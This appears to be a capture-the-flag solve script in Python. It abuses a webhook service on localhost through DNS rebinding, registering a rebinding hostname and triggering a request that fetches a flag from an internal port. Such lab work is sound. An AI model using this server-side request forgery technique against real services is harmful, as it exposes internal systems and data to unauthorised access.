#!/usr/bin/env python3
import argparse
import requests


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--url", default="http://127.0.0.1:31361", help="service base URL")
    parser.add_argument("--host", default="rebind.test", help="hostname served by the rebinding DNS server")
    args = parser.parse_args()

    target = args.url.rstrip("/")
    webhook_url = f"http://{args.host}:5001/flag"
    session = requests.Session()

    registered = session.post(f"{target}/register", data={"url": webhook_url})
    registered.raise_for_status()
    webhook_id = registered.json()["id"]
    print(f"[+] registered {webhook_id} for {webhook_url}")

    triggered = session.post(f"{target}/trigger", data={"id": webhook_id})
    triggered.raise_for_status()
    result = triggered.json()
    print(f"[+] internal status: {result['status']}")
    print(f"[+] flag: {result['response']}")


if __name__ == "__main__":
    main()
